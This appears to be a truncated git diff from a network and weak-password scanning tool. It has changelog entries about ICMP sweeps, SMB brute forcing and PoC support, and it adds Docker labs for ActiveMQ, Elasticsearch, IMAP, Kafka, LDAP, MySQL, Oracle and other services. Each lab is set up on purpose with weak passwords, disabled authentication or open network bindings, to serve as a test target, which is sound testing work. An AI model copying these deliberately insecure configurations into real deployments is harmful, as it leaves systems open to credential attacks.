[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||||
|
|
||||||
[url-doczh]: README.md
|
[url-doczh]: README.md
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
FROM rmohr/activemq:5.15.9
|
||||||
|
|
||||||
|
# 复制配置文件
|
||||||
|
COPY users.properties /opt/activemq/conf/users.properties
|
||||||
|
COPY activemq.xml /opt/activemq/conf/activemq.xml
|
||||||
|
|
||||||
|
# 暴露端口
|
||||||
|
EXPOSE 61616 61613
|
||||||
|
|
||||||
|
# 设置启动命令
|
||||||
|
CMD ["/opt/activemq/bin/activemq", "console"]
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t activemq-weak .
|
||||||
|
docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xmlns:amq="http://activemq.apache.org/schema/core"
|
||||||
|
xsi:schemaLocation="
|
||||||
|
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
|
||||||
|
http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">
|
||||||
|
|
||||||
|
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="true" persistent="false">
|
||||||
|
<!-- 安全设置 -->
|
||||||
|
<plugins>
|
||||||
|
<simpleAuthenticationPlugin>
|
||||||
|
<users>
|
||||||
|
<authenticationUser username="admin" password="Aa123456789" groups="admins,publishers,consumers"/>
|
||||||
|
<authenticationUser username="test" password="test123" groups="publishers,consumers"/>
|
||||||
|
<authenticationUser username="root" password="root123" groups="admins"/>
|
||||||
|
<authenticationUser username="system" password="admin123" groups="admins"/>
|
||||||
|
</users>
|
||||||
|
</simpleAuthenticationPlugin>
|
||||||
|
|
||||||
|
<!-- 授权插件 -->
|
||||||
|
<authorizationPlugin>
|
||||||
|
<map>
|
||||||
|
<authorizationMap>
|
||||||
|
<authorizationEntries>
|
||||||
|
<authorizationEntry queue=">" read="consumers" write="publishers" admin="admins"/>
|
||||||
|
<authorizationEntry topic=">" read="consumers" write="publishers" admin="admins"/>
|
||||||
|
</authorizationEntries>
|
||||||
|
</authorizationMap>
|
||||||
|
</map>
|
||||||
|
</authorizationPlugin>
|
||||||
|
</plugins>
|
||||||
|
|
||||||
|
<transportConnectors>
|
||||||
|
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
|
||||||
|
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
|
||||||
|
</transportConnectors>
|
||||||
|
</broker>
|
||||||
|
</beans>
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
admin=Aa123456789
|
||||||
|
test=test123
|
||||||
|
root=root123
|
||||||
|
system=admin123
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t cassandra-weak .
|
||||||
|
docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3
|
||||||
|
|
||||||
|
# 设置环境变量允许单节点运行
|
||||||
|
ENV discovery.type=single-node
|
||||||
|
|
||||||
|
# 允许任意IP访问
|
||||||
|
ENV network.host=0.0.0.0
|
||||||
|
|
||||||
|
# 设置弱密码
|
||||||
|
ENV ELASTIC_PASSWORD=elastic123
|
||||||
|
|
||||||
|
# 暴露端口
|
||||||
|
EXPOSE 9200 9300
|
||||||
|
|
||||||
|
# 设置默认用户名elastic和密码elastic123
|
||||||
|
RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users
|
||||||
|
|
||||||
|
# 关闭xpack安全功能,使其可以无认证访问
|
||||||
|
RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t elastic-test .
|
||||||
|
docker run -d -p 9200:9200 -p 9300:9300 elastic-test
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp
|
||||||
|
Mac上可能有问题
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
FROM ubuntu:20.04
|
||||||
|
|
||||||
|
ENV DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
|
# 安装 Dovecot 和工具
|
||||||
|
RUN apt-get update && \
|
||||||
|
apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \
|
||||||
|
apt-get clean && \
|
||||||
|
rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# 创建邮件存储目录和邮箱
|
||||||
|
RUN mkdir -p /var/mail/vhosts/ && \
|
||||||
|
chmod 777 /var/mail/vhosts/
|
||||||
|
|
||||||
|
# 创建用户和密码文件
|
||||||
|
RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \
|
||||||
|
echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \
|
||||||
|
echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \
|
||||||
|
chown dovecot:dovecot /etc/dovecot/passwd && \
|
||||||
|
chmod 600 /etc/dovecot/passwd
|
||||||
|
|
||||||
|
# 配置Dovecot
|
||||||
|
RUN echo ' \
|
||||||
|
protocols = imap \n\
|
||||||
|
listen = * \n\
|
||||||
|
ssl = yes \n\
|
||||||
|
ssl_cert = </etc/ssl/certs/ssl-cert-snakeoil.pem \n\
|
||||||
|
ssl_key = </etc/ssl/private/ssl-cert-snakeoil.key \n\
|
||||||
|
mail_location = mbox:~/mail:INBOX=/var/mail/%u \n\
|
||||||
|
disable_plaintext_auth = no \n\
|
||||||
|
auth_mechanisms = plain login \n\
|
||||||
|
auth_debug = yes \n\
|
||||||
|
auth_debug_passwords = yes \n\
|
||||||
|
mail_debug = yes \n\
|
||||||
|
\n\
|
||||||
|
passdb { \n\
|
||||||
|
driver = passwd-file \n\
|
||||||
|
args = scheme=PLAIN /etc/dovecot/passwd \n\
|
||||||
|
} \n\
|
||||||
|
\n\
|
||||||
|
userdb { \n\
|
||||||
|
driver = static \n\
|
||||||
|
args = uid=vmail gid=vmail home=/var/mail/%u \n\
|
||||||
|
} \n\
|
||||||
|
\n\
|
||||||
|
service auth { \n\
|
||||||
|
user = dovecot \n\
|
||||||
|
unix_listener auth-userdb { \n\
|
||||||
|
mode = 0600 \n\
|
||||||
|
user = vmail \n\
|
||||||
|
} \n\
|
||||||
|
} \n\
|
||||||
|
\n\
|
||||||
|
service imap-login { \n\
|
||||||
|
inet_listener imap { \n\
|
||||||
|
port = 143 \n\
|
||||||
|
} \n\
|
||||||
|
inet_listener imaps { \n\
|
||||||
|
port = 993 \n\
|
||||||
|
ssl = yes \n\
|
||||||
|
} \n\
|
||||||
|
} \n\
|
||||||
|
' > /etc/dovecot/dovecot.conf
|
||||||
|
|
||||||
|
# 创建vmail用户并设置正确的权限
|
||||||
|
RUN groupadd -g 5000 vmail && \
|
||||||
|
useradd -g vmail -u 5000 vmail && \
|
||||||
|
chown -R vmail:vmail /var/mail && \
|
||||||
|
chown -R dovecot:dovecot /etc/dovecot && \
|
||||||
|
chmod -R 644 /etc/dovecot/dovecot.conf
|
||||||
|
|
||||||
|
EXPOSE 143 993
|
||||||
|
|
||||||
|
CMD ["dovecot", "-F"]
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t weak-imap .
|
||||||
|
docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
docker-compose up -d
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
# docker-compose.yml
|
||||||
|
version: '3'
|
||||||
|
services:
|
||||||
|
kafka:
|
||||||
|
image: bitnami/kafka:latest
|
||||||
|
ports:
|
||||||
|
- "9092:9092"
|
||||||
|
environment:
|
||||||
|
- KAFKA_CFG_NODE_ID=1
|
||||||
|
- KAFKA_CFG_PROCESS_ROLES=broker,controller
|
||||||
|
- KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093
|
||||||
|
- KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
|
||||||
|
- KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092
|
||||||
|
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
|
||||||
|
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT
|
||||||
|
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
|
||||||
|
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
|
||||||
|
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
|
||||||
|
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||||
|
- ALLOW_PLAINTEXT_LISTENER=yes
|
||||||
|
volumes:
|
||||||
|
- ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
KafkaServer {
|
||||||
|
org.apache.kafka.common.security.plain.PlainLoginModule required
|
||||||
|
username="admin"
|
||||||
|
password="admin123"
|
||||||
|
user_admin="admin123"
|
||||||
|
user_test="test123"
|
||||||
|
user_kafka="kafka123";
|
||||||
|
};
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
FROM osixia/openldap:1.5.0
|
||||||
|
|
||||||
|
# 环境变量设置
|
||||||
|
ENV LDAP_ORGANISATION="Example Inc"
|
||||||
|
ENV LDAP_DOMAIN="example.com"
|
||||||
|
ENV LDAP_BASE_DN="dc=example,dc=com"
|
||||||
|
# 设置一个弱密码
|
||||||
|
ENV LDAP_ADMIN_PASSWORD="Aa123456789"
|
||||||
|
# 允许匿名访问
|
||||||
|
ENV LDAP_READONLY_USER="true"
|
||||||
|
ENV LDAP_READONLY_USER_USERNAME="readonly"
|
||||||
|
ENV LDAP_READONLY_USER_PASSWORD="readonly"
|
||||||
|
|
||||||
|
# 暴露端口
|
||||||
|
EXPOSE 389 636
|
||||||
|
|
||||||
|
# 创建初始化脚本
|
||||||
|
COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t ldap-weak .
|
||||||
|
docker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
dn: ou=users,dc=example,dc=com
|
||||||
|
objectClass: organizationalUnit
|
||||||
|
ou: users
|
||||||
|
|
||||||
|
dn: cn=admin,ou=users,dc=example,dc=com
|
||||||
|
objectClass: inetOrgPerson
|
||||||
|
cn: admin
|
||||||
|
sn: admin
|
||||||
|
uid: admin
|
||||||
|
userPassword: admin123
|
||||||
|
|
||||||
|
dn: cn=test,ou=users,dc=example,dc=com
|
||||||
|
objectClass: inetOrgPerson
|
||||||
|
cn: test
|
||||||
|
sn: test
|
||||||
|
uid: test
|
||||||
|
userPassword: test123
|
||||||
|
|
||||||
|
dn: cn=root,ou=users,dc=example,dc=com
|
||||||
|
objectClass: inetOrgPerson
|
||||||
|
cn: root
|
||||||
|
sn: root
|
||||||
|
uid: root
|
||||||
|
userPassword: root123
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
# 使用SQL Server官方镜像
|
||||||
|
FROM mcr.microsoft.com/mssql/server:2022-latest
|
||||||
|
|
||||||
|
# 设置环境变量
|
||||||
|
ENV ACCEPT_EULA=Y
|
||||||
|
ENV MSSQL_SA_PASSWORD=P@ssword123
|
||||||
|
ENV MSSQL_PID=Express
|
||||||
|
|
||||||
|
# 开放1433端口
|
||||||
|
EXPOSE 1433
|
||||||
|
|
||||||
|
# 健康检查
|
||||||
|
HEALTHCHECK --interval=30s --timeout=3s \
|
||||||
|
CMD /opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q "SELECT 1" || exit 1
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
docker build -t mssql-server .
|
||||||
|
docker run -d \
|
||||||
|
-p 1433:1433 \
|
||||||
|
--name mssql-container \
|
||||||
|
mssql-server
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
# 使用Memcached官方镜像
|
||||||
|
FROM memcached:latest
|
||||||
|
|
||||||
|
# 开放11211端口
|
||||||
|
EXPOSE 11211
|
||||||
|
|
||||||
|
# 设置启动参数
|
||||||
|
# -m 64: 分配64MB内存
|
||||||
|
# -c 1024: 最大同时连接数1024
|
||||||
|
# -v: 显示版本信息
|
||||||
|
CMD ["memcached", "-m", "64", "-c", "1024", "-v"]
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
docker build -t memcached-server .
|
||||||
|
docker run -d \
|
||||||
|
-p 11211:11211 \
|
||||||
|
--name memcached-container \
|
||||||
|
memcached-server
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
docker run --rm -p 5020:5020 oitc/modbus-server:latest
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
# 使用MongoDB官方镜像
|
||||||
|
FROM mongo:latest
|
||||||
|
|
||||||
|
# 设置环境变量
|
||||||
|
ENV MONGO_INITDB_ROOT_USERNAME=admin
|
||||||
|
ENV MONGO_INITDB_ROOT_PASSWORD=123456
|
||||||
|
|
||||||
|
# 开放27017端口
|
||||||
|
EXPOSE 27017
|
||||||
|
|
||||||
|
# 健康检查
|
||||||
|
HEALTHCHECK --interval=30s --timeout=3s \
|
||||||
|
CMD mongosh --eval 'db.runCommand("ping").ok' localhost:27017/test --quiet
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
docker build -t mongodb-server .
|
||||||
|
docker run -d \
|
||||||
|
-p 27017:27017 \
|
||||||
|
--name mongodb-container \
|
||||||
|
mongodb-server
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
# 使用MySQL官方镜像
|
||||||
|
FROM mysql:latest
|
||||||
|
|
||||||
|
# 设置环境变量
|
||||||
|
ENV MYSQL_ROOT_PASSWORD=Password
|
||||||
|
ENV MYSQL_DATABASE=mydb
|
||||||
|
|
||||||
|
# 开放3306端口
|
||||||
|
EXPOSE 3306
|
||||||
|
|
||||||
|
# MySQL配置
|
||||||
|
# 允许远程访问
|
||||||
|
COPY my.cnf /etc/mysql/conf.d/my.cnf
|
||||||
|
|
||||||
|
# 健康检查
|
||||||
|
HEALTHCHECK --interval=30s --timeout=3s \
|
||||||
|
CMD mysql -uroot -p"${MYSQL_ROOT_PASSWORD}" -e "SELECT 1" || exit 1
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
docker build -t mysql-server .
|
||||||
|
docker run -d -p 3306:3306 --name mysql-container mysql-server
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
[mysqld]
|
||||||
|
bind-address = 0.0.0.0
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
FROM neo4j:4.4
|
||||||
|
|
||||||
|
ENV NEO4J_AUTH=neo4j/123456
|
||||||
|
ENV NEO4J_dbms_security_procedures_unrestricted=apoc.*
|
||||||
|
ENV NEO4J_dbms_security_auth_enabled=true
|
||||||
|
|
||||||
|
EXPOSE 7474 7687
|
||||||
|
|
||||||
|
CMD ["neo4j"]
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
version: '3'
|
||||||
|
services:
|
||||||
|
neo4j:
|
||||||
|
image: neo4j:4.4
|
||||||
|
ports:
|
||||||
|
- "7474:7474"
|
||||||
|
- "7687:7687"
|
||||||
|
environment:
|
||||||
|
- NEO4J_AUTH=neo4j/123456
|
||||||
|
- NEO4J_dbms_security_auth_enabled=true
|
||||||
|
container_name: neo4j-weak
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
# 使用Oracle官方容器镜像
|
||||||
|
FROM container-registry.oracle.com/database/express:21.3.0-xe
|
||||||
|
|
||||||
|
# 设置环境变量
|
||||||
|
ENV ORACLE_PWD=123456
|
||||||
|
ENV ORACLE_CHARACTERSET=AL32UTF8
|
||||||
|
|
||||||
|
# 开放1521端口
|
||||||
|
EXPOSE 1521 5500
|
||||||
|
|
||||||
|
# 健康检查
|
||||||
|
HEALTHCHECK --interval=30s --timeout=30s --start-period=5m --retries=3 \
|
||||||
|
CMD nc -z localhost 1521 || exit 1
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user